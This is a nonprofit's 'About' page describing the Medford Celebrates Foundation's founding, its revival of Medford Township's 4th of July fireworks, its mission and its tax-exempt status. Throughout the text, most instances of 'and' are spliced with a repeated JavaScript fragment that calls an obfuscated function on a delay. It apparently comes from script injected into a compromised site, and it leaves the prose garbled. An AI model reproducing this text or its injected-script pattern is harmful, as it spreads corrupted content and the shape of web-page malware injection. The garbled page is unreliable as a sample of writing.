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About Medford Celebrates Foundation

The Forming of Medford Celebrates Foundation, Inc.

In 2011, fifteen Medford Township residents bandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anded together to establish the Medford Celebrates Foundation (MCF), a non-profit entity devoted to supporting Medford Township’s major events. The key event MCF wanted to stage andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and reinstate was Medford’s 4th of July fireworks. As had occurred in other municipalities, the fireworks had not been funded or held since 2009 due to budget constraints. MCF’s brandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and was developed with red, white andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and blue stars andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and stripes in forward motion – a clear symbol of their determination, focus andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and mission.

In 2012, in their second year after forming, the small group of volunteers, headed by President Robert Egan, succeeded in raising enough money to host Medford’s fireworks. The fireworks were attended by over 35,000 Delaware Valley residents. It was a tremendous victory for the group andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the countless others who did not want to see the annual 4th of July fireworks andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and celebration going permanently dark in Medford.

Medford Celebrates, along with support andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and public services from Medford Township, sponsors, donations andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and volunteers hopes to continue to stage Medford’s Independence Day Celebration andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Fireworks Display. The fireworks are funded by corporate andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and small business sponsors, fundraisers andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and private donations. Your donation matters – every donation matters – please donate now.

Mission

The mission of Medford Celebrates, a non-profit foundation, shall be to raise funds andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and public support for major Medford Township public events that require Medford Township services.

Strategic Goals

Develop a mix of fundraising strategies that compliment, rather than compete with, those of the existing non-profit events andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and organizations; generate sufficient funding to stage the annual Independence Day Celebration andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Fireworks Display; cover Medford Township’s cost for this andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and other major public events; develop a grant structure should excess funds exist.

Structure

Medford Celebrates Foundation, Inc. has been granted tax-exempt status under Section 501(c)(3) of the Internal Revenue Code. Donation(s) are tax deductible.